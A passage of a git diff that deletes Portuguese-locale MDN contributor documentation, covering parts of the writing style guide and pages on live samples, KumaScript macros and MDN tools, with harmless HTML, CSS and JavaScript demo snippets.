For dates (not including dates in code samples) use the format "January 1, 1990".

- -
    -
  • Correct: February 24, 2006
  • -
  • Incorrect: February 24th, 2006; 24 February, 2006; 24/02/2006
  • -
- -

Alternately, you can use the YYYY/MM/DD format.

- -
    -
  • Correct: 2006/02/24
  • -
  • Incorrect: 02/24/2006; 24/02/2006; 02/24/06
  • -
- -

Decades

- -

For decades, use the format "1990s". Don't use an apostrophe.

- -
    -
  • Correct: 1990s
  • -
  • Incorrect: 1990's
  • -
- -

Plurals of numerals

- -

For plurals of numerals add "s". Don't use an apostrophe.

- -
    -
  • Correct: 486s
  • -
  • Incorrect: 486's
  • -
- -

Commas

- -

In running text, use commas only in five-digit and larger numbers.

- -
    -
  • Correct: 4000; 54,000
  • -
  • Incorrect: 4,000; 54000
  • -
- -

Punctuation

- -

Serial comma

- -

Use the serial comma. The serial (also known as "Oxford") comma is the comma that appears before the conjunction in a series of three or more items.

- -
    -
  • Correct: I will travel on trains, planes, and automobiles.
  • -
  • Incorrect: I will travel on trains, planes and automobiles.
  • -
- -
-

This is in contrast to the One Mozilla style guide, which specifies that the serial comma is not to be used. MDN is an exception to this rule.

-
- -

Ortografia

- -

For words with variant spellings, always use their American English spelling. In general, use the first entry at Dictionary.com, unless that entry is listed as a variant spelling or as being primarily used in a non-American form of English; for example, if you look up "honour", you find the phrase "Chiefly British" followed by a link to the American standard form, "honor". Do not use variant spellings.

- -
    -
  • Correct: localize, honor
  • -
  • Incorrect: localise, honour
  • -
- -

Terminologia

- -

Obsolete vs. deprecated

- -

It's important to be clear about the difference between the terms obsolete and deprecated.

- -
-
Obsolete
-
On MDN, the term obsolete marks an API or technology that is not only no longer recommended, but also no longer implemented in the browser. For Mozilla-specific technologies, the API is no longer implemented in Mozilla code; for Web standard technology, the API or feature is no longer supported by current, commonly-used browsers.
-
Deprecated
-
On MDN, the term deprecated marks an API or technology that is no longer recommended, but is still implemented and may still work. These technologies will in theory eventually become obsolete and be removed, so you should stop using them. For Mozilla-specific technologies, the API is still supported in Mozilla code; for Web standard technology, the API or feature has been removed or replaced in a recent version of the defining standard.
-
- -

Elementos de HTML

- -

Use "elements" to refer to HTML and XML elements, rather than "tags". In addition, they should almost always be wrapped in "<>", and should be in the {{HTMLElement("code")}} style. When you reference a given element for the first time in a section, you should use the {{TemplateLink("HTMLElement")}} macro to create a link to the documentation for the element (unless you're writing within that element's reference document page).

- -
    -
  • Correct: the {{HTMLElement("span")}} element
  • -
  • Incorrect: the span tag
  • -
- -

Parameters vs. arguments

- -

The preferred term on MDN is parameters. Please avoid the term "arguments" for consistency if at all possible.

- -

User interface actions

- -

In task sequences, describe user interface actions using the imperative mood. Identify the user interface element by its label and type.

- -
    -
  • Correct: Click the Edit button.
  • -
  • Incorrect: Click Edit.
  • -
- -

Voice

- -

While the active voice is preferred, the passive voice is also acceptable, given the informal feel of our content. Try to be consistent, though.

- -

Wiki markup and usage

- -

Hiperligações

- -

Links are a large part of what makes a wiki a powerful learning and teaching tool. Below you'll find some basic information, but you can find a complete guide to creating and editing links on MDN in our editor guide.

- -

We encourage you to create appropriate links among articles; they help improve navigation and discoverability of content. You can easily create links not only among pages on MDN (internal links) but also to pages outside MDN (external links).

- -

There are two ways to create links: you explicitly create a link using the Link button in the editor's toolbar—or by pressing Ctrl+K (Cmd-K on the Mac)—or you can use MDN's powerful macro system to generate links automatically or based on an input value.

- -

When deciding what text to use as a link, there are a few guidelines you can follow:

- -
    -
  • Whenever a macro exists which will create the link you need, and you are able to do so, please do. Using macros to create links will not only help you get it right, but will allow future improvements to MDN to automatically be applied to your link.
  • -
  • For an API name, use the entire string of the API term as written in your content. The easiest way to do this is to use the appropriate macro to construct a properly-formatted link for you.
  • -
  • For a term for which you're linking to a page defining or discussing that term, use the name of the term and no additional text as the link's text. For example: -
      -
    • Correct: You can use JavaScript code to create dynamic applications on the Web.
    • -
    • Incorrect: You can use JavaScript code to create dynamic applications on the Web.
    • -
    -
  • -
  • Otherwise, when adding a useful link to prose, try to choose an action and object phrase, such as: - -
  • -
- -

Esquemas de URL

- -

For security reasons, you should only create links that use the following schemes:

- -
    -
  • http://
  • -
  • https://
  • -
  • ftp://
  • -
  • mailto:
  • -
- -

Others may or may not work, but are not supported and will probably be removed by editorial staff.

- -
-

In particular, be sure not to use the about: or chrome:// schemes, as they will not work. Similarly, the javascript: scheme is blocked by most modern browsers, as is jar:.

-
- -

Etiquetas de página

- -

Tags provide meta information about a page and/or indicate that a page has specific improvements needed to its content. Every page in the wiki should have tags. You can find details on tagging in our How to properly tag pages guide.

- -

The tagging interface lives at the bottom of a page while you're in edit mode, and looks something like this:

- -

Screenshot of the UX for adding and removing tags on MDN

- -

To add a tag, click in the edit box at the end of the tag list and type the tag name you wish to add. Tags will autocomplete as you type. Press enter (or return) to submit the new tag. Each article may have as many tags as needed. For example, an article about using JavaScript in AJAX programming might have both "JavaScript" and "AJAX" as tags.

- -

To remove a tag, just click the little "X" icon in the tag.

- -

Tagging pages that need work

- -

In addition to using tags to track information about the documentation's quality and content, we also use them to mark articles as needing specific types of work.

- -

Tagging obsolete pages

- -

Use the following tags for pages that are not current:

- -
    -
  • Junk: Use for spam, pages created by mistake, or content that is so bad that it should be deleted. Pages with this tag are deleted from time to time.
  • -
  • Obsolete: Use for content that is technically superseded, but still valid in context. For example an HTML element that is obsolete in HTML5 is still valid in HTML 4.01. You can also use the {{TemplateLink("obsolete_header")}} macro to put a prominent banner on the topic.
  • -
  • Archive: Use for content that is technically superseded and no longer useful. If possible, add a note to the topic referring readers to a more current topic. For example, a page that describes how to use the Mozilla CVS repository should refer readers to a current topic on using Mercurial repos. (If no corresponding current topic exists, use the NeedsUpdate tag, and add an explanation on the Talk page.) Pages with the Archive tag are eventually moved from the main content of MDN to the Archive section.
  • -
- -

Resumo SEO

- -

The SEO summary provides a short description of a page. It will be reported as a summary of the article to robots crawling the site, and will then appear in search results for the page. It is also used by macros that automate the construction of landing pages inside MDN itself.

- -

By default, the first paragraph of the page is used as the SEO summary. However, you can override this behavior by marking a section with the "SEO summary" style in the WYSIWYG editor.

- -

Landing pages

- -

Landing pages are pages at the root of a topic area of the site, such as the main CSS or HTML pages. They have a standard format that consists of three areas:

- -
    -
  1. A brief (typically one paragraph) overview of what the technology is and how it's used. See {{anch("Writing a landing page overview")}} for tips.
  2. -
  3. A two-column list of links with appropriate headings. See {{anch("Creating a page link list")}} for guidelines.
  4. -
  5. An optional "Browser compatibility" section at the bottom of the page.
  6. -
- - - -

The link list section of an MDN landing page consists of two columns. These are created using the following HTML:

- -
<div class="row topicpage-table">
-  <div class="section">
-    ... left column contents ...
-  </div>
-  <div class="section">
-    ... right column contents ...
-  </div>
-</div>
- -

The left column should be a list of articles, with an <h2> header at the top of the left column explaining that it's a list of articles about the topic (e.g., "Documentation and tutorials about foo"); this header should use the CSS class "Documentation". Below that is a <dl> list of articles with each article's link in a <dt> block and a brief one-or-two sentence summary of the article in the corresponding <dd> block.

- -

The right column should contain one or more of the following sections, in order:

- -
-
Getting help from the community
-
This should provide information on Matrix chat rooms and mailing lists available on the topic. The heading should use the class "Community".
-
Tools
-
A list of tools the user can look at to help with the use of the technology described in this section of MDN. The heading should use the class "Tools".
-
Related topics
-
A list of links to landing pages for other, related, technologies of relevance. The heading should use the class "Related_Topics".
-
- -

<<<finish this once we finalize the landing page standards>>>

- -

Utilização, inserção de imagens

- -

It's sometimes helpful to provide an image in an article you create or modify, especially if the article is very technical. To include an image:

- -
    -
  1. Attach the desired image file to the article (at the bottom of every article in edit mode)
  2. -
  3. Create an image in the WYSIWYG editor
  4. -
  5. In the WYSIWYG editor, in the drop-down list of attachments, select the newly created attachment that is your image
  6. -
  7. Press OK.
  8. -
- -

Outras referências

- -

Preferred style guides

- -

If you have questions about usage and style not covered here, we recommend referring to the Economist style guide or, failing that, the Chicago Manual of Style.

- -

Preferred dictionary

- -

For questions of spelling, please refer to Dictionary.com. The spelling checker for this site uses American English. Please do not use variant spellings (e.g., use color rather than colour).

- -

We will be expanding the guide over time, so if you have specific questions that aren't covered in this document, please send them to the MDC mailing list or project lead so we know what should be added.

- -

Específico da MDN

- - - -

Idioma, gramática, ortografia

- -

If you're interested in improving your writing and editing skills, you may find the following resources to be helpful.

- - diff --git a/files/pt-pt/mdn/index.html b/files/pt-pt/mdn/index.html deleted file mode 100644 index afad0c7b65..0000000000 --- a/files/pt-pt/mdn/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: O projeto MDN -slug: MDN -tags: - - Landing - - Metadados MDN -translation_of: MDN ---- -
{{MDNSidebar}}
- -

MDN - Documentos da Web, é uma wiki onde nós documentamos a Web aberta, tecnologias da Mozilla, e outros tópicos de desenvolvimento. Qualquer poessoa é bem-vinda para adicionar e editar conteúdo. Não tem de ser um programador ou saber muito sobre tecnologia; existem várias tarefas diferentes que precisam de ser realizadas, desde o mais simples (revisão de conteúdo e correção de erros ortográficos) até ao mais complexo (escrever documentação de API).

- -
-

A missão de MDN - Documentos da Web é fornecer aos programadores a informação necessária para criar facilmente projetos na plataforma da Web. Nós convidámo-lo a ajudar!

-
- -

Nós precisamos da sua ajuda! É fácil. Não se preocupe em pedir permissão ou em cometer erros. Por outro lado, por favor, venha conhecer a 'Comunidade da MDN'; nós estamos aqui para o ajudar! A documentação abaixo deverá ajudá-lo a começar.

- -
    -
  • Início Rápido do Principiante - -

    É novo na MDN e pretende saber como ajudar para a tornar melhor? Comece aqui!

    -
  • -
  • Eu sou um utilizador avançado -

    Aceda ao nosso guia completo e aprofundado para os colaboradores da MDN, para saber mais assim que se sentir confortável.

    -
  • -
  • Passe a palavra -

    Se gostar da MDN, ajude a passar a palavra! Encontre arte, ferramentas, e guias para promover a MDN.

    -
  • -
diff --git a/files/pt-pt/mdn/structures/index.html b/files/pt-pt/mdn/structures/index.html deleted file mode 100644 index b8df701dac..0000000000 --- a/files/pt-pt/mdn/structures/index.html +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Document structures -slug: MDN/Structures -tags: - - Landing - - MDN Meta - - NeedsTranslation - - Structures - - TopicStub -translation_of: MDN/Structures ---- -
{{MDNSidebar}}
{{IncludeSubnav("/en-US/docs/MDN")}}
- -

Throughout MDN, there are various document structures that are used repeatedly, to provide consistent presentation of information in MDN articles. Here are articles describing these structures, so that, as an MDN author, you can recognize, apply, and modify them as appropriate for documents you write, edit, or translate.

- -

{{LandingPageListSubPages()}}

diff --git a/files/pt-pt/mdn/structures/live_samples/index.html b/files/pt-pt/mdn/structures/live_samples/index.html deleted file mode 100644 index 1e6380ba9e..0000000000 --- a/files/pt-pt/mdn/structures/live_samples/index.html +++ /dev/null @@ -1,249 +0,0 @@ ---- -title: Exemplos live -slug: MDN/Structures/Live_samples -tags: - - Estruturas - - Guia(2) - - Intermediário - - Metadados MDN -translation_of: MDN/Structures/Live_samples -original_slug: MDN/Structures/Exemplos_live ---- -
{{MDNSidebar}}

Exemplos MDN supports turning sample code displayed in articles into running samples the reader can look at in action. These live samples can include HTML, CSS, and JavaScript in any combination. Note that "live" samples are not interactive; however, they do ensure that the output displayed for a sample matches the code of the sample exactly, because it is actually generated by the code sample.

- -

Como é que os exemplos live funcionam

- -

The live sample system gathers up all the code in a group, merges it into one HTML file, and then renders that HTML in an {{HTMLElement("iframe")}}. A live sample therefore consists of two pieces:

- -
    -
  • A group of code blocks
  • -
  • The macro call that (creates the frame or the link that) displays the result of the code blocks
  • -
- -

A "group" of code blocks, in this context, is identified by the ID of a heading or a block element (such as a {{HTMLElement("div")}}).

- -
    -
  • If the ID belongs to a block element, the group includes all the code blocks within the enclosing block element whose ID is used. 
  • -
  • If the ID belongs to a heading, the group includes all the code blocks that are after that heading and before the next heading of the same heading level. Note that code blocks under subheadings of the specified heading are all used; if this is not the effect you want, use an ID on a block element instead.
  • -
- -

The macro uses a special URL to fetch the sample code for a given group: http://url-of-page$samples/group-id, where group-id is the ID of the heading or block where the code is located. The resulting frame (or page) is sandboxed, secure, and technically may do anything that works on the Web. Of course, as a practical matter, the code must contribute to the point of the page that contains it; random stuff running on MDN will be removed by the editor community.

- -
-

Nota: You must use the macro for presenting the live sample's output. MDN's editor will strip out any direct use of the <iframe> element in order to ensure security.

-
- -

Each {{HTMLElement("pre")}} block containing code for the sample has a class on it that indicates whether it's HTML, CSS, or JavaScript code; these are "brush: html", "brush: css", and "brush: js". These classes must be on the corresponding blocks of code so that the wiki can use them correctly; fortunately, these are added for you automatically when you use the syntax highlighter features in the editor's toolbar.

- -

The live sample system has lots of options available, and we'll try to break things down to look at them a bit at a time.

- -

Macros de exmplo live

- -

There are two macros that you can use to display live samples:

- - - -

In many cases, you may be able to add the EmbedLiveSample or LiveSampleLink macro to pages with little or no additional work! As long as the sample can be identified by a heading's ID or is in a block with an ID you can use, simply adding the macro should do the job.

- -

EmbedLiveSample macro

- -
 \{{EmbedLiveSample(block_ID, width, height, screenshot_URL, page_slug)}}
- -
-
block_ID
-
Required: The ID of the heading or enclosing block to draw the code from. The best way to be sure you have the ID right is to look at the URL of the section in the page's table of contents.
-
width
-
The width of the {{HTMLElement("iframe")}} to create, specified in px. This is optional; a reasonable default width will be used if you omit this. Note that if you want to use a specific width, you must also specify the height parameter.
-
height
-
The height of the {{HTMLElement("iframe")}} to create, specified in px. This is optional; a reasonable default height will be used if you omit this. Note that if you want to use a specific height, you must also specify the width parameter. If you use only one of them, the default frame size is used.
-
screenshot_URL
-
The URL of a screenshot that shows what the live sample should look like. This is optional, but can be useful for new technologies that may not work in the user's browser, so they can see what the sample would look like if it were supported by their browser. If you include this parameter, the screenshot is shown next to the live sample, with appropriate headings.
-
page_slug
-
The slug of the page containing the sample; this is optional, and if it's not provided, the sample is pulled from the same page on which the macro is used.
-
- -
    -
- - - -
 \{{LiveSampleLink(block_ID, link_text)}}
- -
-
block_ID
-
The ID of the heading or enclosing block to draw the code from. The best way to be sure you have the ID right is to look at the URL of the section in the page's table of contents.
-
link_text
-
A string to use as the link text.
-
- -

Utilizar o sistema de exemplo live

- -

The sections below describe a few common use cases for the live sample system.

- -

In all of these cases, to see the results of the live sample, you must click Save Changes in the editor (which takes you out of edit mode). Because of the reflexive, Inception-like nature of live samples, the Preview Changes functionality is not able to display live samples.

- -

Turning snippets into live samples

- -

One common use case is to take existing code snippets already shown on MDN and turn them into live samples.

- -

Preparar os exemplos de código

- -

The first step is to either add code snippets or ensure that existing ones are ready to be used as live samples, in terms of the content and in terms of their mark-up. The code snippets, taken together, must comprise a complete, runnable example. For example, if the existing snippet shows only CSS, you might need to add a snippet of HTML for the CSS to operate on.

- -

Each piece of code must be in a {{HTMLElement("pre")}} block, with a separate block for each language, properly marked as to which language it is. Most of the time, this has already been done, but it's always worth double-checking to be sure each piece of code is configured with the correct syntax. Next to the PRE icon in the toolbar is a drop-down menu icon (tooltip: Syntax Highlighter) with the various languages that MDN does syntax highlighting for. Setting the language for the block for syntax highlighting also correlates it with a language for the purposes of the live sample system.

- -
-

Nota: You may have more than one block for each language; they are all concatenated together. This lets you have a chunk of code, followed by an explanation of how it works, then another chunk, and so forth. This makes it even easier to produce tutorials and the like that utilize live samples interspersed with explanatory text.

-
- -

So make sure the {{HTMLElement("pre")}} blocks for your HTML, CSS, and/or JavaScript code are each configured correctly for that language's syntax highlighting, and you're good to go.

- -
-

Nota: When pasting content into MDN, please be aware that if pasting styled content (including, for example, syntax highlighting in code being copied from another site) that you may be bringing along unwanted and unneeded additional styles or classes. Please be careful not to do this; if necessary, review your edit in source mode to remove these unnecessary styles and classes (or check it before pasting, or use the "Paste as plain text" option instead).

-
- -

Inserir a macro de exemplo live

- -

Once the code is in place and properly configured to identify each block's language, you need to insert the macro that creates the iframe.

- -
    -
  1. Click the Insert Live Code Sample iFrame button in the toolbar; it looks like this: . This opens a dialog box for configuring your live sample frame:
  2. -
  3. Under Document, enter the title of the article that contains the sample you wish to embed. By default, it's the article you're currently editing, but you can choose an article elsewhere on MDN, too. This makes it possible to reuse samples on multiple pages if needed. (If you type new text in this field, a menu of partially matching pages appears; select the title of the page you want.)
  4. -
  5. In the Sections in Document menu, select the section in the article that contains the code blocks of the sample you want to embed.
  6. -
  7. Click the OK button to generate and insert the macro call that creates the sample frame for you. The macro call looks something like this:
    - \{{ EmbedLiveSample('Live_sample_demo') }}
  8. -
- -

Adicionar um novo exemplo live

- -

If you're writing a new page, and want to insert code that you want to present as a live sample, even more of the work can be done for you by the editor! 

- -
    -
  1. Click the Insert Code Sample Template button in the toolbar, which looks like this: . This presents a simple dialog asking you to name your live sample:
    -
  2. -
  3. Enter the title of the sample; this is used as the heading for the sample. Make sure that your title makes sense within the context of the page you're on.
  4. -
  5. Click OK. A new heading with the title you entered is created, with sub-headings and empty code blocks for HTML, CSS, and JavaScript.
  6. -
  7. Delete any headings and code blocks you don't need.
  8. -
  9. Enter the code that makes up your sample in the appropriate code blocks
  10. -
  11. Check conventions
  12. -
- -

Utilizar o 'Localizador de Exemplo'

- -

As mentioned above, the Sample Finder is activated by clicking the Insert Live Code Sample iFrame icon. Unfortunately the the Sample Finder may produce a macro that is NOT usable without editing. There are two problem areas that should be carefully checked and edited if necessary.

- -
    -
  1. Document field. This field will search as you type and present a list of documents that match your string. But the list presented will NOT include the sub-page. For example, say you are working on the subpage for Negative under the main page @counter-style. The Sample Finder search will not find Negative but will find the main page @counter-style. When @counter-style is selected the field background turns green. See below for the issue this creates.
  2. -
  3. Sections in Document. The pull-down menu Sections in Document may not show the section that you need. Just pick one, say Examples, and it can be fixed with a simple edit.
  4. -
- -

Here is what the Sample Finder produced:

- -
\{{ EmbedLiveSample('Examples', '', '', '', 'Web/CSS/@counter-style') }}
- -

This macro will not work. The block_ID is Examples and it should be Example in this case (check the source ID for this section to verify which block_ID you need to use. Similarly the page_slug is @counter-style and it should be @counter-style/negative. These corrections can be done directly in the page with Edit active.

- -

After editing the macro now looks like this:

- -
\{{ EmbedLiveSample('Example', '', '', '', 'Web/CSS/@counter-style/negative') }}
- -

This edited macro will work correctly. If the macro is working correctly you will see the Open in CodePen button. A thumbnail of the example should appear above the Open in CodePen button. If the button is there but there isn't a thumbnail, just wait a few minutes. It may take some time for the server to generate it.

- -

Encontrar exemplos que precisam de ser atualizados

- -

When looking for existing samples to update, there are three main kinds of updating you may wish to do:

- -
    -
  • Turn an existing non-live example snippet into a live sample.
  • -
  • Correct bugs in an existing live sample.
  • -
  • Improve an existing live sample, or update a sample based on technology changes.
  • -
- -
-

Note: If you find an article that has samples in need of being updated to use the live sample system, please add the tag "NeedsLiveSample" to the page.

-
- -

Encontrar exemplos para os transformnar em exemplos live

- -

MDN has lots of older examples that don't yet use the live sample system. Our goal is to update most or all of these to be live samples. This will improve consistency and usability. You will almost certainly find many of these as you use MDN on a daily basis; however, how can you find them if you're specifically looking for them to update? Unfortunately, there's not an easy way to do that. But there are some guidelines you can follow to help track them down:

- - - -

Demonstração de exemplo live

- -

This section is the result of using the live sample template button to create not only the main heading ("Live sample demo"), but also subheadings for our HTML, CSS, and JavaScript content. You're not limited to one block of each; in addition, they don't even need to be in any particular order. Mix and match!

- -

You may choose to delete any of these you wish; if you don't need any script, just delete that heading and its {{HTMLElement("pre")}} block. You can also delete the heading for a code block ("HTML", "CSS", or "JavaScript"), since these are not used by the live sample macro.

- -

Now that the template has been inserted, we can put in some code, and even some explanatory text.

- -

HTML

- -

This HTML creates a paragraph and some blocks to help us position and style a message.

- -
<p>A simple example of the live sample system in action.</p>
-<div class="box">
-  <div id="item">Hello world!</div>
-</div>
-
- -

CSS

- -

The CSS code styles the box as well as the text inside it.

- -
.box {
-  width: 200px;
-  height: 100 px;
-  border-radius: 6px;
-  background-color: #ffaabb;
-}
-
-#item {
-  width: 100%;
-  font-weight: bold;
-  text-align: center;
-  font-size: 2em;
-}
-
- -

JavaScript

- -

This code is very simple. All it does is attach an event handler to the "Hello world!" text that makes an alert appear when it is clicked.

- -
var el = document.getElementById('item');
-el.onclick = function() {
-  alert('Owww, stop poking me!');
-}
-
- -

Resultado

- -

Here is the result of running the code blocks above via \{{EmbedLiveSample('Live_sample_demo')}}:

- -

{{EmbedLiveSample('Live_sample_demo')}}

- -

Here is a link that results from calling these code blocks via \{{LiveSampleLink('Live_sample_demo', 'Live sample demo link')}}:

- -

{{LiveSampleLink('Live_sample_demo', 'Live sample demo link')}}

- -

Convenções sobre exemplos live

- -
-

Nota: This is currently (Feb. 2016) under discussion on the dev-mdc mailing list (see this thread). Any input is welcome. If this note persists after some month (Apr. 2016), please reach the author of the first email in this thread for updating this page.

-
- -
-
Ordem dos blocos de código
-
When adding a live sample, the code blocks should be sorted so that the first one corresponds to the main language for this sample (if there is one). For example, when adding a live sample for the HTML Reference, the first block should be HTML, when adding a live sample for the CSS Reference, it should be CSS and so on.
-
Nomeação de cabeçalhos
-
When there is no ambiguity (e.g. the sample is under a "Examples" section), headings should be straightforward with the sole name of the corresponding language: HTML, CSS, JavaScript, SVG, etc. (see above). Headings like "HTML Content" or "JavaScript Content" should not be used. However if such a short heading makes content unclear, one can use a more thoughtful title.
-
Utilizar um bloco de "Resultado"
-
After the different code blocks, please use a last "Result" block before using the EmbedLiveSample macro (see above). This way, the semantic of the example is made clearer for both the reader and any tools that would parse the page (e.g. screen reader, web crawler).
-
diff --git a/files/pt-pt/mdn/structures/macros/index.html b/files/pt-pt/mdn/structures/macros/index.html deleted file mode 100644 index 984483ee1e..0000000000 --- a/files/pt-pt/mdn/structures/macros/index.html +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Macros -slug: MDN/Structures/Macros -tags: - - Estruturas - - Guía - - Kuma - - KumaScript - - Metadados MDN -translation_of: MDN/Structures/Macros ---- -
{{MDNSidebar}}

A plataforma Kuma na qual a MDN é executada, fornece um sistema de macro poderoso, KumaScript, que torna possível realizar uma grande variedade de coisas automaticamente. Este artigo fornece informação sobre como invocar as macros da MDN dentro dos artigos.

- -

O guia de KumaScript fornece uma visão detalhada de como utilizar as macros na MDN, deste modo, esta secção é mais um breve resumo.

- -

Como as macros são implementadas

- -

Macros on MDN are implemented using server-executed JavaScript code, interpreted using Node.js. On top of that we have a number of libraries we've implemented that provide wiki-oriented services and features to let macros interact with the wiki platform and its contents. If you're interested in learning more, see the KumaScript guide.

- -

Utilização uma macro no conteúdo

- -

To actually use a macro, you simply enclose the call to the macro in a pair of double-braces, with its parameters, if any, enclosed in parentheses; that is:

- -
\{{macroname(parameter-list)}}
- -

A few notes about macro calls:

- -
    -
  • Macro names are case-sensitive, but some attempt is made to correct for common capitalization errors; you may use all lowercase even if the macro name uses caps within it, and you may capitalize a macro whose name normally starts with a lower-case letter.
  • -
  • Parameters are separated by commas.
  • -
  • If there are no parameters, you may leave out the parentheses entirely; \{{macroname()}} and \{{macroname}} are identical.
  • -
  • Numeric parameters can be in quotes, or not. It's up to you (however, if you have a version number with multiple decimals in it, it needs to be in quotes).
  • -
  • If you get errors, review your code carefully. If you still can't figure out what's going on, see Troubleshooting KumaScript errors for help.
  • -
- -

Macros are heavily cached; for any set of input values (both parameters and environmental values such as the URL for which the macro was run), the results are stored and reused. This means that the macro is only actually run when the inputs change.

- -
-

Nota: You can force all the macros on a page to be re-evaluated by force-refreshing the page in your browser (that is, a shift-reload).

-
- -

Macros can be as simple as just inserting a larger block of text or swapping in contents from another part of MDN, or as complex as building an entire index of content by searching through parts of the site, styling the output, and adding links.

- -

You can read up on our most commonly-used macros on the Commonly-used macros page; also, there's a complete list of all macros here. Most macros have documentation built into them, as comments at the top.

- -

{{EditorGuideQuicklinks}}

diff --git a/files/pt-pt/mdn/tools/index.html b/files/pt-pt/mdn/tools/index.html deleted file mode 100644 index 9030b49d4d..0000000000 --- a/files/pt-pt/mdn/tools/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: MDN tools -slug: MDN/Tools -tags: - - Landing - - MDN Meta - - NeedsTranslation - - TopicStub -translation_of: MDN/Tools ---- -
{{MDNSidebar}}
- -
{{IncludeSubnav("/en-US/docs/MDN")}}
- -

MDN offers a number of features that make it easier to track progress, manage content, and keep up with the latest changes to the site.

- -

{{LandingPageListSubpages}}

diff --git a/files/pt-pt/mdn/tools/kumascript/index.html b/files/pt-pt/mdn/tools/kumascript/index.html deleted file mode 100644 index e031036563..0000000000 --- a/files/pt-pt/mdn/tools/kumascript/index.html +++ /dev/null @@ -1,496 +0,0 @@ ---- -title: KumaScript -slug: MDN/Tools/KumaScript -tags: - - Ferramentas - - Guía - - Kuma - - KumaScript - - Metadados MDN -translation_of: MDN/Tools/KumaScript ---- -
{{MDNSidebar}}

Sinopse

- -

Na plataforma Kuma que gere a MDN, o sistema de modelo para os aspetos de automação de conteúdo na wiki é chamado de KumaScript. KumaScript é gerido por server-side JavaScript, implementado com a utilização de Node.js. Este artigo proporciona informação básica de como utilizar KumaScript.

- -

For a detailed overview and Q&A of KumaScript, watch the MDN dev team's KumaScript Fireside Chat (the meeting starts at 10 minutes into the video). KumaScript replaced DekiScript, which was the template language for MindTouch, the previous platform used by MDN.

- -

O que é KumaScript?

- -
    -
  • A way to reuse and localize content that appears repeatedly between documents (e.g., compatibility labels, section navigation, warning banners).
  • -
  • A way to build documents out of content pulled from other documents.
  • -
  • A way to fetch and include content from other web sites and services (e.g., Bugzilla).
  • -
- -

O que KumaScript não é

- -
    -
  • KumaScript does not support interactive scripting of the kind that can accept form submissions.
  • -
  • KumaScript does not have access to a database, files, or any other way to store information persistently.
  • -
  • KumaScript does not support site personalization based on the user currently logged in.
  • -
  • KumaScript does not have access to user information, only to the content and metadata of a wiki page being viewed.
  • -
- -

Elementar

- -

KumaScript is used on MDN in embedded JavaScript templates. These templates can be invoked in document content by any MDN author, through the use of macros.

- -

A script in KumaScript is a template, and each template is a file in the macros directory of the KumaScript repository on Github. A  template looks like this:

- -
<% for (var i = 0; i < $0; i++) { %>
-Hello #<%= i %>
-<% } %>
- -

Invoking a template is done with a macro, which can be used anywhere in any wiki content. A macro looks like this:

- -
\{{ hello("3") }}
- -

The output of the macro looks like this:

- -
Hello #0
-Hello #1
-Hello #2
- -

Sintaxe de macro

- -

KumaScript templates are invoked in document content with macros, like this:

- -
\{{ templateName("arg0", "arg1", ..., "argN") }}
-
- -

Macro syntax consists of these rules:

- -
    -
  • Macros start and end with \{{ and \}} characters.
  • -
  • The first part of the macro is the name of a template. The lowercase value of this name should match the lowercase value of one of the filenames under the macros directory of KumaScript.
  • -
  • A template can accept parameters, and this parameter list starts and ends with parentheses.
  • -
  • All non-numeric parameters must be in quotes. Numbers can be left unquoted.
  • -
- -

Utilizar JSON como um parâmetro  de macro

- -

As a semi-experimental feature (not guaranteed to work), you can supply a JSON object for the first and only parameter, like so:

- -
\{{ templateName({ "Alpha":"one", "Beta":["a","b","c"], "Foo":"http:\/\/mozilla.org\/" }) }}
-
- -

The data from this macro is available in template code as an object in the $0 argument (e.g., $0.Alpha, $0.Beta, $0.Foo). This also allows you to express complex data structures in macro parameters that are hard or impossible to do with a simple list of parameters.

- -

Note that this parameter style is very picky — it must adhere to JSON syntax exactly, which has some requirements about escaping characters that are easy to miss (e.g., all forward slashes are escaped). When in doubt, try running your JSON through a validator.

- -

Como escrever "\{{" no texto

- -

Since the character sequence "\{{" is used to indicate the start of a macro, this can be troublesome if you actually just want to use "\{{" and "}}" in a page. It will probably produce DocumentParsingError messages.

- -

In this case, you can escape the first brace with a backslash, like so: \\{

- -

Sintaxe de modelo

- -

Each KumaScript template is a file under the macros directory of KumaScript. You create and edit these files as you would the files of any open-source project on GitHub (see the KumaScript README for more information).

- -

KumaScript templates are processed by an embedded JavaScript template engine with a few simple rules:

- -
    -
  • Within a template, the parameters passed in from the macro are available as the variables $0, $1, $2, and so on. The entire list of parameters is also available in a template as the variable arguments.
  • -
  • Most text is treated as output and included in the output stream.
  • -
  • JavaScript variables and expressions can be inserted into the output stream with these blocks: -
      -
    • <%= expr %> — the value of a JavaScript expression is escaped for HTML before being included in output (e.g., characters like < and > are turned into &lt; and &gt;).
    • -
    • <%- expr %> — the value of a JavaScript expression is included in output without any escaping. (Use this if you want to dynamically build markup or use the results of another template that may include markup.)
    • -
    • It is an error to include semicolons inside these blocks.
    • -
    -
  • -
  • Anything inside a <% %> block is interpreted as JavaScript. This can include loops, conditionals, etc.
  • -
  • Nothing inside a <% %> block can ever contribute to the output stream. But, you can transition from JS mode to output mode using <% %>—for example: -
    <% for (var i = 0; i < $0; i++) { %>
    -Hello #<%= i %>
    -<% } %>
    -
    - -

    Note how the JavaScript code is contained in <% ... %>, and output happens in the space between %> ... <%. The for loop in JS can begin with one <% %> block, transition to output mode, and finish up in a second <% %> JS block.

    -
  • -
  • For more details on EJS syntax, check out the upstream module documentation.
  • -
- -

Dicas

- -

You can see a list of macros and how they are used on MDN on the macros dashboard.

- -

Funcionalidades Avançadas

- -

Beyond the basics, the KumaScript system offers some advanced features.

- -

Variáveis de ambiente

- -

When the wiki makes a call to the KumaScript service, it passes along some context on the current document that KumaScript makes available to templates as variables:

- -
-
env.path
-
The path to the current wiki document
-
env.url
-
The full URL to the current wiki document
-
env.id
-
A short, unique ID for the current wiki document
-
env.files
-
An array of the files attached to the current wiki document; each object in the array is as described under {{ anch("File objects") }} below
-
env.review_tags
-
An array of the review tags on the article ("technical", "editorial", etc.)
-
env.locale
-
The locale of the current wiki document
-
env.title
-
The title of the current wiki document
-
env.slug
-
The URL slug of the current wiki document
-
env.tags
-
An array list of tag names for the current wiki document
-
env.modified
-
Last modified timestamp for the current wiki document
-
env.cache_control
-
Cache-Control header sent in the request for the current wiki document, useful in deciding whether to invalidate caches
-
- -

File objects

- -

Each file object has the following fields:

- -
-
title
-
The attachment's title
-
description
-
A textual description of the current revision of the file
-
filename
-
The file's name
-
size
-
